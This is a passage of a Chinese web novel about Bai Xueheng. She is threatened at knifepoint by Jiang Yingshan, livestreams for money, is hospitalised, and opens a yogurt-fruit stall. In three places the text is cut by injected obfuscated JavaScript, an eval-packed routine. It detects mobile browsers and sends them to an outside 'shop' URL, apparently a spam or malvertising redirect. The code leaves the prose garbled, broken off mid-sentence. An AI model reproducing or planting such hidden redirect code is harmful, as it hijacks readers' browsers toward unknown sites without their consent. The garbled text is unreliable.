那几个人以为他是白雪蘅,把他摆成各种姿势拍照,甚至撕开了他的衣服。 也多亏了衣服被撕开,拍着拍着,那几人发现这个“女人”虽然有胸,下面也多了根东西…… 慌乱又迷惑的几人面面相觑:“是个人妖?” “人妖你马!” 苏醒的江映山就听见这一句,摇摇晃晃着暴起,用尽全身力气把他们都揍倒在地。 刚揍完,江画云就带着人来了。 江画云打开其中一部手机,随即被相册里辣眼睛的照片刺得紧闭双眼。 江映山擦了擦手指骨节上的鲜血,换上保镖带来的衣服,拿过车钥匙就要走。 江画云拉住他:“你又去哪?” 江映山的声音都透着阴鸷:“去找白雪蘅。” 江画云忍无可忍,一巴掌甩在他脸上,打得江映山微微侧头。 “我跟你说过多少遍了!不许招惹白雪蘅!你看看你这副样子,还不嫌丢人是吧!” 姐弟俩二十多年来感情极好,别说动手了,这样难听的话,江画云是第一次说。 江映山的刘海遮住了瞳孔,他侧头看着姐姐:“姐,你不觉得奇怪吗?她怎么知道我安排人了?她又怎么知道人在哪里等着?” 江画云不假思索:“你以为容昭野是做什么的?只要他想,我们全家都得陪葬。” 江映山摇头:“容昭野没有参与。” 聚会上容昭野看到白雪蘅到来那惊讶的神色骗不了人,更何况容昭野因为白雪蘅没给他吃蛋糕而生闷气。 如果是容昭野策划的这一切,他不可能不知道蛋糕里下了药。 江映山拿开姐姐拉着自己的手:“我去查清楚,从哪里泄的密。” 江画云追不上他,咬了咬唇,干脆给江易舷拨了电话: “喂,爸爸……” 学校附近的小路上,白雪蘅刚下车,就被黑暗中突然蹿出的江映山捂住嘴巴拖走。 她吓得身体僵直,想要张嘴去咬,却被他更加用力地掐住脖子。 在眼前发黑,差点过去的前一秒,江映山松开了手。 “你为什么给我下药?” 白雪蘅咳了半天,声音嘶哑:“……你为什么找人害我?” 江映山拿出一把手术刀贴在她脸上:“谁告诉你的?” 白雪蘅一动不敢动,把咳嗽硬生生压下去:“我做梦知道的。” 江映山轻笑,刀背立起,锋利的刀刃划过她脸上的绒毛,只需要再贴近零点一毫米,便会划开她白嫩的皮肤。 白雪蘅强自镇定:“我说了,我和容昭野已经分开了,你们两家之间的事跟我无关,为什么还要找人害我?” 江映山摇头:“你不乖。既然分开了,怎么还开他的车呢?” 刀尖带着寒意刺入她耳垂,鲜红的血珠凝落而下。 “说实话吧,到底是谁告诉你的?” 江映山无法容忍背叛,哪怕是下属,他也会追究到底。 白雪蘅浑身一抖:“没有人,真的是我做梦梦到的……” 江映山呼出一口气,所有的耐心也随之而去,他刀尖翻转,停留在她颈部动脉。 系统忽然发出刺耳的警报: 【请注意,宿主面临生命危险,支线剧情将在一章内完结,本次改命失败,工作日志生成中……】 又要死了?! 巨大的恐惧笼罩了白雪蘅,她闭着眼睛,电光火石间喊出了一个名字: “是江画云!是你姐!” 江映山握着的手术刀逐渐远离她的身体。 “我姐?” 白雪蘅劫后余生般的喘气,心脏仿佛要从喉咙里跳出来。 太可怕了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546115|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这个男人怎么一言不合就要杀人。 她撑着最后的理智和他对话:“是的,你姐给我打过电话,不信你看我手机……” 江映山接过她手机,翻了通话记录,昨晚果然有一通来自江画云的电话。 他心情复杂地收起刀。 把手机递给白雪蘅之前,江映山摁下一串号码。 “这是我的微信。” 他俯下身子死死盯着她,“如果我有事找你,不许不回信息。” 手机被塞回她手里,江映山转身大步离开。 白雪蘅“扑通”一声瘫坐在地,捂着流血的耳朵。 疯了疯了…… 自己果然是在疯批奇葩的剧情里。 即使自己的行为改变了细节,剧情也会以不可抵抗的方式扭转回来。 原文中江映山救了她以后,二人加了微信;如今变成了自己被刀抵着脖子加了他的微信。 还不如…… 白雪蘅产生了“我命由天不由我”的终极恐慌。 前途未卜,命运多舛。 唯一能确定的,是江映山是个彻底的疯狗,杀人不眨眼,只有江画云能给他拴上狗链。 系统提示音再次响起: 【生命危险已解除,请宿主继续努力挣钱,完成改命任务。】 白雪蘅咬着牙站起来,干,不改就是个死,干了还有改命的机会。 她稳着还在打哆嗦的腿回了宿舍。 强迫自己休息一晚,她去了学校附近的美食街。 “彤姐,请问您这里还缺临时工吗?” 彤姐是一家生意很好的糖水店店主,三十岁左右,和常来吃的学生关系都很好。 闻言,她有些为难地看了一眼白雪蘅。 “雪蘅,现在是暑假时间,客人没有平时多……” 言外之意,他们不需要临时工帮忙。 白雪蘅原意是想,找三家店打临时工,每家店给三千,一个月也能凑出九千块钱,再在网上接点文案工作,勉勉强强凑够一万,就能改一章。 不是她不去找正式工作,现在的行情,以她的专业,哪怕是top名校毕业,也难有月薪过万的工作。 何况像样点的大公司又都和容氏有千丝万缕的关系。 她只能考虑这种中小微企业或者小店。 彤姐到底还是没忍住,问白雪蘅:“雪蘅,你怎么想到我们这里来打工啊?你不是……?” 白雪蘅大一的时候常来,后面跟了容昭野,一有假期就去旅游度假,除了上课,基本不在学校出现。 大美女的动向自然有人关心,学校里几乎人尽皆知她谈了个富豪男友,彤姐也是隐隐约约有听说的。 白雪蘅露出阳光灿烂的笑容:“我跟男朋友分手了,出来打工赚钱养活自己啊!” “啊……” 金丝雀失去金主,并不是什么好事。 彤姐有些替她尴尬。 但是白雪蘅生怕别人不知道似的,声音更大了些,店里其他人也能听得一清二楚: “是的,我和他彻底分手了,以后我们俩没有半点关系。” 最好全世界都知道,这样江家人就不会来找她麻烦了吧…… 白雪蘅传完自己的八卦,和彤姐告别,又去了下一家店。 只是暑假期间,美食街的店都不需要人手,白雪蘅转了一整条街,也没找到兼职,反而把自己和容昭野已经分手的消息传了个遍。 有不少路过的学生录下了她和不同老板反复提及自己已经分手的视频,上传各大平台。 倒是替她赚了不少流量。 评论里不少人调侃: “再美的美女也会被金主玩腻啊。” “旺铺招租吗这是(狗头)” “校花也会毕业就失恋啊。” “楼上的,这是失业好吗,失去金主怎么不算一种失业呢。” 一时间,“最美校花宣布单身”的新闻成为各大社媒平台的头条。 有些窥伺已久的人闻着味儿就来了。 8. 打赏 白雪蘅打包了一份糖水,在回宿舍的路上被人拦住了脚步。 “白小姐,您好,我是萤星传媒公司的经纪人那磊,听说您在找工作?” 白雪蘅接过他的名片,很感兴趣的样子:“工资高吗?” 那磊笑容可掬: “新人一般底薪六千,但是由于您的个人条件十分优越,我们这边可以破格提到一万,也就是说,您只拿底薪就能月薪过万,提成另算。” 白雪蘅已经掏出了手机,准备加联系方式:“我签。” 那磊没想到她这么爽快,一时间有些错愕:“您不再问问其他条件吗?” 他们公司的签约合同条款一向把人往死里坑,现在还挂着无数条合约纠纷案子未处理。他在附近和别人吃饭的时候刷短视频看到别人偷拍的白雪蘅,存着不如一试的心思,厚着脸皮来问问,没想到她居然问都不问就要签约。 白雪蘅点点头:“我就一个问题,底薪一万不会有莫名其妙的理由扣掉吧?” 那磊连连摆手:“这个绝对不会,说好的底薪多少,定时定额发。” 他们一般在提成部分做假。 而且在直播时长和违约金的部分有严苛且不人道的规定。 白雪蘅放下心来:“那我明天就入职。” 那磊的眼珠子转了转,得出一个结论:“您是不是很缺钱?” 白雪蘅坦然承认:“我需要尽快挣钱。” 她很需要这一万块钱,江映山已经露出了獠牙,要赶紧挣钱改掉后续情节。 那磊简直欣喜若狂,面上不敢表露分毫,他控制自己露出同情的笑容:“您放心,您入职以后,我亲自去跟汪总说,尽快给您办工资卡。” 白雪蘅和那磊加了好友,收到了对方发的公司地址,就回了宿舍。 周风染正在宿舍挑着明天入职穿的衣服。 见白雪蘅回来,关切地问她:“雪蘅,我在短视频上刷到你了,你还上了热门,不过……” 白雪蘅打开糖水慢悠悠地吃:“不过什么?” “热搜的题目不太好听,说……哎呀你自己看吧。” 周风染掏出手机点了点,递给她。 白雪蘅接过来定睛一瞅,热搜上赫然挂着:“昔日最美校花遭金主抛弃,小吃街求职连被拒。” 她大一入学的时候就上过热门,那时候的热搜说她是“名校最美校花。” 没想到毕业的时候又上了一次。 白雪蘅把手机还给周风染,无所谓地继续吃糖水。 周风染担忧地看着她:“你真的跟容总分手啦?” 她也看出来,这次好像和以前每一次闹脾气式的分手不一样。 白雪蘅“嗯”了一声:“你去‘蘅容’”上班的事怎么样了?” 周风染忍不住喜笑颜开:“托你的福,我过了终面,已经定下明天去报到了。” 她一个本科生能在世界名校硕博的环绕中杀出重围,不是托了白雪蘅的关系,根本不可能。。 白雪蘅也为她高兴:“那就好。我今天也找到工作了,有一家传媒公司找过来,说签我做主播……” 周风染却越听越觉得不对:“你就这么同意啦?我可是听说,那种公司特别坑人,要想离职得被扒一层皮!” 白雪蘅无所畏惧:“不就是天价违约金吗,我不违约,还怎么收我违约金。” 周风染摇头:“哪有这么简单,万一他们让你去陪大哥吃饭……” 白雪蘅手里的勺子顿了顿。 也可能是她在互联网上小有名气的原因,这家传媒公司并没有早早展现扒皮本质,反而对她十分客气。 签过合约,那磊给她讲了一些直播的规矩之后,就安排了一次试播。 白雪蘅被化妆师画了个适合上镜的大浓妆。 遮住了几分清丽,却凸显了更多妖娆。 只是她化妆的过程中一直被不熟悉的化妆品呛得鼻子发痒,脸也有些闷的慌。 那磊看着她的脸色,诱哄式的安慰:“就播一个小时,公会帮你推流,不想说话也可以不说,美美地看镜头就行。” 他有预感,就算白雪蘅什么都不做,也会有人为了这张脸刷礼物。 白雪蘅坐在布置好的打光灯前,还有些发懵。 那磊帮她调了舒缓的音乐,在镜头外比了加油的手势。 与此同时,萤星公司重金购买的词条“最美校花被甩后首次直播讲述与大哥的故事”华丽丽地上了热一。 直播间迅速涌入人潮,白雪蘅努力去看刷屏飞快的弹幕。 多数都是带有恶意的调侃: “不是名校毕业吗,怎么沦落到开直播了。” “她被大哥甩了?” “听说还把大哥花的钱还回去了!” “大哥的钱不好挣,还是我们的钱好挣啊。” 白雪蘅面无表情,只挑能念的回应。 “口红色号?我也不知道,化妆师拿的。” “卷发多少毫米?头发没做,这是自然卷。” “减肥秘诀?一天一顿正餐。” “裙子链接?你们截图搜吧,我也忘记了。” “我的星座?我是射手座。” …… 就这样有一搭没一搭的回着弹幕,白雪蘅只觉得脸上热热的,呼吸也开始受阻,她以为是直播的房间太热了,中间给那磊发微信,要他把空调打低一点。 直播间的礼物刷的飞起,还有几个人为了争当榜一,在不停地刷大额礼物。 那磊看着后台暴涨的数据,感慨,一个月的数据要求,白雪蘅半个小时就给刷满了。 许秘书拿着文件,屏住呼吸敲了敲容昭野的办公室门。 然后被里面散发的寒气冻得屏住呼吸出来。 一直到走远了,他才敢大口呼吸。 白小姐搬走以后,容总的脾气一天比一天差。 这两个人郎财女貌的,闹什么分手啊。 许秘书发着愁,听到周围有同事在窃窃私语。 他凑过去一看,几个人都拿着手机,在看同一个人的直播间。 许秘书低咳了一声,几个同事连忙回头,见到是他,都松了口气。 “你们在看什么呢?上班时间,玩手机也不要这么明目张胆。” 同事举起手机:“许秘书,这个主播你认识吗,我怎么感觉好像见过她……” 许秘书定睛一看,这这这,这不是容总的前女友白小姐吗! 同事兴致勃勃:“听说她以前是豪门大哥的女朋友,被甩了就出来开直播挣钱,要我说,还是当美女舒服,看看这礼物榜,我没见过的礼物特效,在她直播间一会儿就见全了!” ……开什么玩笑,容昭野经他手转给白雪蘅的钱足够她挥霍余生了,她不至于要出来当主播啊。 许秘书掏出手机,看着热搜直皱眉头。 想了想,他还是举着白雪蘅的直播画面,去找容昭野。 容昭野看着屏幕上熟悉又陌生的脸,陷入沉思。 ……会不会是和自己在一起时间太久,腻了?她需要新鲜感?才用这种方式打发时间? 容昭野指着满屏的礼物特效:“这个怎么弄的?” 许秘书解释道:“充值购买虚拟币,在白小姐直播间点击礼物,就可以了。” 容昭野修长的手指点了几下屏幕:“她在感谢AAA建材王哥,那是谁?” 许秘书斟酌着词汇:“是给白小姐送礼物的粉丝,已经是榜一了。” 容昭野心里略略有些不平。 自己刚刚给她定制了一架私人飞机,她没说感谢也就罢了,还要跟他分手。 算了,谁让自己乐意呢,不跟小女孩计较。 既然她喜欢这种虚拟礼物,那就投其所好吧。 容昭野开始重复点击那个最贵的礼物特效。 点了半天也没爬到榜三。 他有点生气,不能允许别的男人给白雪蘅花钱比他花的还多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546116|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “许秘书,帮我点,务必点到榜一。” 许秘书接过这个艰巨的任务,好在他手速超凡,终于在白雪蘅下播前,把容昭野的账号刷到了榜一。 白雪蘅正要感谢新晋榜一,张了张嘴却没发出声音,她忽然觉得呼吸更困难了,眼前出现了无数雪花点。 她撑着最后的力气露出礼貌性的笑容,刚刚起身准备下播,就晕倒在了镜头外。 容昭野也看出来了,白雪蘅的状态很不对。 他已经起身往外走:“查她现在在哪。” 许秘书挠头,他又不是CIA……但是领导交代的事,硬着头皮也要干。 白雪蘅醒来的时候,被强到刺目的灯光照得睁不开眼。 “你醒了?” 她点了点头,撑着身体想要坐起来。 “小心,别把针头碰掉了。” 针头? 白雪蘅这才察觉到左手背的异物感,上面扎着留置针。 说话的人站在一旁,正在帮她调节药物流速。 白雪蘅看清了那人的轮廓,是名年轻男医生,戴着口罩,看不清脸。 “请问你看见我的手机了吗?” 她需要联系一下那磊,问问今天的直播挣了多少钱,签合约的时候说好了,打赏提成五五分。 男医生把手机递给她,白雪蘅顺口说了句“谢谢”。 “不用谢,白小姐。” 莫名的寒意顺着脊背蔓延,白雪蘅不可置信地看向医生,那双看似温和的眼睛不带感情地注视着她。 是江映山! 白雪蘅第一反应是把手臂上的针管拔掉。 谁知道他往里面打的什么药! 留置针的胶带粘得异常牢固,她扯了半天都没掉,针头在大力撕扯下已经歪了,药水很快就在她的手背鼓起小包。 江映山安慰她的语气带着嘲弄:“你昏迷的时候扎的针,这已经是第二瓶了,如果真的有毒,现在才拔是不是晚了点?” 白雪蘅恍若未闻,终于撕开胶带,扯下针管,迅速逃离病床。 她给那磊拨了电话,那磊的语气热情谄媚。 “白小姐,您醒了?哎呀真是不好意思,不知道你对我们公司的化妆品过敏,我已经安排化妆师采购全新的最贵的国际一线品牌的化妆品,保证不会再出现这种问题!” 白雪蘅这才知道,自己是因为急性过敏进的医院。 也是点背,进的是江映山工作的那家医院。 “嗯,我想知道今天直播的收益怎么样?” 说到这个,那磊很是兴奋:“您今天的直播收益破了平台的记录,足足收了七位数的打赏!” 白雪蘅长舒一口气,这把果然没让人失望,自己豁出老脸还是有成效的。 “我能分到多少?” 这才是最关键的。 那磊的笑听起来有点心虚。 “您也知道,这次之所以能有这么多人进直播间,还是因为公司花了大钱推流。所以这部分是要从收益中扣除的,另外,平台也要扣除部分,除此之外还要缴税……杂七杂八算下来,您这边应该能到账五万。” 白雪蘅想过这种公司的黑心,但没想到这么黑。 但是形势比人强,就算只能拿五万,也比送外卖当护工来钱快。 “那我现在就要结算,你尽快安排,可以吗?” 那磊就怕白雪蘅跟自己纠缠到底,要求看账目明细,听她没有计较的意思,只是要求尽快到账,他哪有不乐意的,当下连连保证:“您放心,今晚之前必须到账!” 白雪蘅稍稍放下心来,正要挂电话,又听那磊难掩兴奋地语气:“哦对了,您昏迷的时候还有一个好消息,我们公司被容氏收购了!容总给所有员工发了见面礼,您也有,我让人收起来了,等下次您来公司直播的时候记得拿!” 容氏,收购? 自己辛辛苦苦挣的五万块,又不能作数了? 白雪蘅两眼一黑,再次晕倒。 9. 打针 只愿常睡不愿醒。 面对前途叵测的命运和接二连三的打击,白雪蘅在昏迷中只有这一个念头。 睡吧,起码睡着的时候不需要被剧情推着走去死,不需要费尽心机去挣钱,不需要面对可怕的随时掏刀子的变态npc…… 只是梦中也不让人安生。 白雪蘅在黑沉沉的梦里看到了清晰的画面。 她被江映山蛊惑,说容昭野根本就不爱她,虽然给她很多礼物和金钱,却从未带她接触最核心的利益,比如公司股份和家族关系网。容昭野和江画云的联姻足以说明这一点,白雪蘅除了一堆贬值的奢侈品,什么都捞不到,枉费青春。 要想给自己留点保障,就要打入容昭野公司的核心层,拿到股份,或者参与他最核心的项目。 梦里的白雪蘅大为破防,果然跑去容昭野办公室大哭大闹。 容昭野头痛不已。 在美人梨花带雨和在回到老宅面临狂风暴雨之间咬牙犹豫了半分钟,还是决定独自扛下所有: “别哭了,我会让许秘书准备《股权转让协议书》。” 白雪蘅擦了擦鼻涕:“那是什么?” 容昭野接过她用完的纸,丢进垃圾桶:“你不是要股份吗,我转给你20%,以后你就是容氏第二大的股东。” 白雪蘅闻言不再哭了,良心发现开始为他考虑:“那你还剩多少?” “60%。” “够吗?” 容昭野很满意她关心自己:“够,哪怕只剩51%,我也能护住你。” 白雪蘅扎进他怀里,顺势把眼泪抹在他的定制西装上:“可是我不想只在你身后被你保护,我也想帮你做点事情……我已经毕业了,不能再靠你养着了。” 容昭野揉揉她的头发:“傻宝宝,我养着你是应该的,你不需要去操心那些生意上的事,你只要开开心心的,最大的烦恼是选不定美甲的款式,我就心满意足。” 若是以往,白雪蘅肯定会被他这番话哄得心头涌蜜,沉醉其中。 可是被江映山洗脑过的白雪蘅,忍不住在想,难道自己在容昭野眼里真的这么差劲?只配做一只被豢养的金丝雀?不,自己可是Top名校毕业的,从五线小城市努力做题杀上来的,才不是孬种! 她脸色严肃地诘问:“容昭野你是不是看不起我?” 容昭野一脸错愕:“宝宝,我看不起你什么?” 白雪蘅生气又委屈:“你连股份都给我了,我什么都不做,心里过意不去……我也想帮帮你,我不是无能的人。” 说着说着,她又开始哭。 容昭野简直举起双手投降:“小祖宗,别哭了,你想做什么,我都依你好不好?” 白雪蘅指着办公桌上的一份企划书:“那你让我去那个项目。” 容昭野顺着她的手指看过去,那是一份无人码头的建设方案。 这项目还未开建,仍然是江家把持的传统码头模式,她就算参与其中,也最多是开会的时候跟着听一听,依白雪蘅的脾气,去了码头也会被晒得躲回办公室吹空调。 想了想,容昭野便答应了。 白雪蘅如愿拿到了方案书。 只是她拿到后的第一件事就是扫描发给江映山。 白雪蘅眼睁睁看着梦里的自己喜滋滋地把容昭野的核心商业机密轻飘飘地一键发送给了江映山,气得眼皮乱翻。 耳边有人低呼:“她好像醒了!” 白雪蘅睁开眼,面无表情。 现实中要面对生命威胁,梦里的世界也是如此令人气愤无力。 身为配角,活该如此? 站在她病床边的人见白雪蘅一脸生无可恋,开口安慰她:“白小姐,容总已经收购了萤星传媒,只差办手续了,您不用担心霸王合同,容总都会解决的……” 是善解人意的许秘书。 白雪蘅气若游丝:“能不能让你们老板去外地发展业务……” 别再盯着她所在的行业扩大经营了。 话刚说完,刚刚还萎靡不振的白雪蘅突然瞪大双眼。 外地。 对啊!自己为什么不去外地呢! 本地是容昭野的天下,挣不到和他无关的钱,那去外地总行了吧! 她翻身就要下床。 许秘书想扶不敢扶,正巧病房门开了,查房的医生乌泱泱走了进来。 “怎么下床了,快回去,医生要检查病人的基础情况。” 白雪蘅摆手表示自己不需要:“不用了,我感觉好得很,我现在就去办出院。” 为首的医生看起来是位德高望重的院长级人物,他老钱风地“呵呵”了几声,转头交代身后的年轻医生:“小江啊,给这位女士做个检查,要真是无碍,就给她办出院。” “小江”态度恭谨,声音温润:“好的,院长。” 白雪蘅被迫重新躺回病床。 “小江”拿着听诊器,刚想放在白雪蘅的胸口,旁边的许秘书一个箭步冲过来,微笑着指了指床头的检测仪器,上面清晰显示着白雪蘅的血压和心率。 “小江”拿出病历本做记录,语气客观淡漠:“患者频繁出现晕倒,发作时意识短暂丧失。系统体格检查及辅助检查均未见明确器质性病变,无法以躯体疾病完全解释晕厥原因。患者情绪持续不佳,兴趣减退,精力缺乏,存在明显焦虑与抑郁体验。结合临床表现,高度怀疑患者目前处于中重度抑郁焦虑状态,建议尽快前往精神科或心理科就诊,进行全面精神心理评估。” 白雪蘅听懵了。 “小江”医生怕她没听明白,总结性地给出了关键结论:“不建议出院。” 白雪蘅已经认出来他是江映山。 当着病房这么多人的面,她开启了攻击模式:“江医生,你为了和我多相处几天可真是煞费苦心啊,居然污蔑我有病……我已经说过很多次了,请你不要继续纠缠我,我完全不想见到你。没想到你以公谋私,你对得起你身上的白大褂吗?不知羞耻。” 这话说得太重,病房里其他医生在寂静了一瞬之后,开始窃窃私语。 有记忆力好的已经认出来,白雪蘅就是前几天往江医生身上泼了一盆尿,还指责他是渣男的漂亮女孩。 自然地,大家都默认了白雪蘅说的是真的。 江映山面不改色,依旧淡漠:“患者出现精神病性症状,表现有钟情妄想,于就诊过程中将接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546117|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诊医生错认为其男友,坚信不疑,对治疗关系产生非现实性曲解。自知力部分缺失。” 他“吧嗒”一声合上笔:“患者病情极其严重,可能出现不安全行为,须进入隔离病房单独观察。” 白雪蘅抓起床上的枕头狠狠掼在江映山身上。 江映山侧步躲开,拿出手机呼叫安保:“有医闹,病房楼7603。” 许秘书的电话同时也拨了出去:“容总……” 容昭野来得比保安慢了一步。 他本来想亲自守着白雪蘅,前半夜也确实是他在病房陪着,江画云的电话打了进来,说她爸有急事要见他。 容昭野的语气客气冰冷:“我会去见江叔叔的。” 言外之意,见面的时间地点要由他来定。 江画云并不习惯在男人面前低声下气,她冷笑:“你知不知道你的码头改建,施工砸到了人,伤者现在还在昏迷。” 容昭野看了一眼昏迷中的白雪蘅,叫许秘书来陪护,自己问江画云要了地点,挂上电话出了门。 接到许秘书电话时,容昭野正好刚从工地赶回来。 他推开门就看到江映山正在指挥安保,要把白雪蘅从床上架起来带走。 容昭野气得笑了。 他挥挥手,身后出现五十个彪形大汉,都是刚刚在拆迁村里保护他的保镖。 五十个黑衣壮汉把这一层走廊挤得密密麻麻。 为首的空着手走进病房,一手提两个安保,双手提着四个安保走了出去。 又有两个保镖走进病房,一左一右,围着江映山。 容昭野从容开口:“江医生,你为了留住我女朋友,很有手段啊。” 江映山也是不怯,甚至微微叹了口气,像是受了天大的委屈:“这位白小姐对我实在痴迷,在下也是不堪其扰。” 白雪蘅一口老血涌上嗓子眼,张嘴就要骂。 容昭野先她一步反应:“上次她拿尿盆泼了你一身也是因为痴迷?江医生,你们医学博士的用词,这么别致的吗?” 江映山沉静冷肃的脸终于有了一丝裂痕。 容昭野站在他对面,黑色真丝衬衫勾勒出霸总贵公子的矜贵身形,气势逼人。 “依我拙见,分不清幻想和现实,有钟情妄想的,恐怕是江医生你啊。” “医者难自医,出现症状要及时治疗,否则只怕,误人误己啊。” 江映山正要解开白大褂的扣子和容昭野再火拼一次,被院长拍了拍肩膀,拉在身后。 “容先生,好久不见,上次见面还是在令尊的五十大寿上。” 江映山掀了掀眼皮,家里老头的五十大寿,都是十年前的事了。 他熟练地和院长寒暄。 护士推着小车进来,准备给白雪蘅打针。 白雪蘅推拒:“我不打针,我要出院。” 护士已经戴好了手套,闻言愣了一下,手里还捏着碘伏棉签:“白小姐,这是江医生开的营养针,你血检报告显示维生素D偏低,还有——” “我不打。”白雪蘅把被子拉到下巴,“我要出院。” 护士为难地看着江映山。 他是她的管床医生。 10. 摆摊 江映山在和容昭野对峙,没有接收到护士的求助信号。 白雪蘅烦得要死,这两个男人她都不想搭理,直接从另一边下床出门。 许秘书寸步不离地跟着她。 白雪蘅一口气跑到住院部楼下花园,坐在长椅上,惆怅地搓了搓脸。 许秘书温声劝道:“白小姐,您跟容总……有什么误会,说开了就好。” 容昭野对她的重视和宠爱,没人比许秘书更清楚了。 毕竟他工作的这几年,与其说是给容昭野打工,更像是在帮容昭野给白雪蘅买各种礼物,转账,安排出行,处理琐事。 白雪蘅喃喃着:“……你说我想自力更生,挣属于自己的钱,怎么就那么难?” 许秘书无法理解。 在这个卷生卷死的时代,她账户里躺着下下下下下辈子都花不完的余额,竟然还在琢磨着自己出去吃苦打工。 不过她想要实现自我价值,总归是让许秘书高看一眼的。 “白小姐,人脉和助力,也是自身实力的一部分。” “那不作数啊!” 她刚才想去外地发展,可是江映山的存在和威胁,又使她不敢离开容昭野的庇护范围。 白雪蘅烦躁地抓了抓头发。 许秘书安慰她:“您有学识,有才华,也有退路,想做什么都可以的。” 白雪蘅有些呆滞地看着拎着饭盒来看望病人的路人:“我饿了,你能帮我买点吃的吗?” 许秘书连忙答应:“没问题,我这就叫厨房那边做好了送过来,很快。” 容昭野给白雪蘅聘了三十个厨子,分别擅长各式菜系,各国风味,二十四小时随时待命。 白雪蘅摇头:“去医院门口随便买点就行。” 吃路边摊也不是没有过,年轻人就爱这些,许秘书小跑着去了。 回来的时候十个手指勾满了各种小吃。 白雪蘅看着在长椅上摊开的快餐盒,有炒面,麻辣烫,炸鸡叉骨,榴莲芝士饼……甚至还有两串糖葫芦。 她咬了一口鸡叉骨,啃了一块榴莲芝士饼。 刺激的味道在嘴巴里横冲直撞,恍惚间回到了在小县城读高中的学生时光。 她在那座被山围住的小县城里长了十八年,没有出过省,没有坐过飞机,不知道栗子蛋糕可以加金箔,不知道一块西瓜可以在大溪地卖到五百。 鸡叉骨是校门口三轮车摊子上的,六块钱一份,送一小袋辣椒面。 榴莲芝士饼是后来才流行起来的,二十八块钱一个,她要攒好几天的早饭钱才舍得买。 晚自习下课,她和同桌一人捧着一个纸袋,蹲在路灯底下啃,手指头油乎乎的,往校服裤子上蹭。 那时候她以为,人生最痛苦的事情是留在这个小县城吃一辈子鸡叉骨。 于是她拼命背书,背到天亮,背到喉咙发干,背到闭上眼睛脑子里全是字。 她把历史课本从头到尾抄了三遍,把政治答题模板做成小卡片塞在枕头底下,每天睡前背一遍。 她想考出去。 考到省城,考到北京,考到连卫生间都充斥着大牌香水的馥郁的地方。 沉浸在回忆里,她把鸡叉骨吃了不少,榴莲芝士饼还剩半个,凉了,吃起来有点腻。 白雪蘅把纸袋捏成一团,扔进垃圾桶里。 许秘书熬了一夜,也饿得不轻,端着一份炒面大快朵颐。 白雪蘅拧开一瓶水,递给他:“等会儿还需要你帮我个忙。” 许秘书接过水,笑道:“职责所在。” 白雪蘅微笑:“帮我把那个鸡叉骨小摊买下来,我要卖鸡叉骨。” 许秘书刚刚“咕嘟咕嘟”灌了两口,闻言全部喷了出去。 许秘书何许人也。 出身寒微,凭一己之力从二本院校保研到顶级名校的逆袭选手,在短短五年内做到容昭野最顺手的贴身秘书,他的情商是比做题能力更突出的优秀。 不多时,许秘书就带着白雪蘅去看了他的工作成果—— 一辆崭新又整洁的三轮餐车。 上面摆满了各式水果和甜点小料,车载冰柜里还放着两大桶酸奶。 “白小姐,卖鸡叉骨还是太危险了,油温过高易烫伤,油烟对您的皮肤也不好,您要是想创业,做酸奶水果捞更容易上手。” 白雪蘅看着琳琅满目的小料,感慨着许秘书的周到。 许秘书又贴心地领来一位大姐:“这是原摊主,愿意教学培训,您有不懂的问她就好。” 白雪蘅忍不住夸他:“许大哥,还真是没有你想不到的。” 许秘书“嘿嘿”一笑。 这位摊主大姐三十来岁,温柔干净又能干,她的摊位所在位置不在美食街的中心,却很巧妙地挨着热卤摊和炒面摊,买了卤菜和炒面的顾客,几乎都会顺手带一份酸奶水果捞解解腻,所以生意不断。 白雪蘅刚刚站定,就来了一对年轻情侣。 女孩子熟练地点着爱吃的配料,白雪蘅手忙脚乱地拿着勺子往碗里盛。 她第一次做,掌握不好量,几乎每种配料都加了满满一大勺,以至于要用三个碗才装得下。 那女孩接过三碗水果捞,有些目瞪口呆。 负责扫码付款的男孩看到白雪蘅的正脸,也有些目瞪口呆。 白雪蘅歉意地笑笑:“刚开始做,不太熟练。” 二人走了,男孩频频回头,不时在手机上回着消息。 趁着没人,摊主大姐给白雪蘅演示了一些细节和技巧,白雪蘅学得很快,做了一碗完美的水果捞,端给了许秘书。 “许大哥,这碗给你,你辛苦了。” 许秘书受宠若惊。 他捧着水果捞,另一只手掏出手机要扫码付款。 白雪蘅连忙阻止他:“送你的,你怎么跟我还这么见外?” 话说完,白雪蘅突然想起来,这是谁的收款码? 许秘书早就想到了,他解释道:“已经换上了您的收款码,您看一眼手机,刚才那两个客户付的钱应该已经过去了。” 白雪蘅的手机静音了,她掏出手机解锁,果然看到提示信息,到账十五元。 她越看越喜欢,这种踏实挣钱的感觉真是好。 忍不住截图,配上小摊照片发了个朋友圈:“顾客吃得开心,小蘅挣得踏实。” 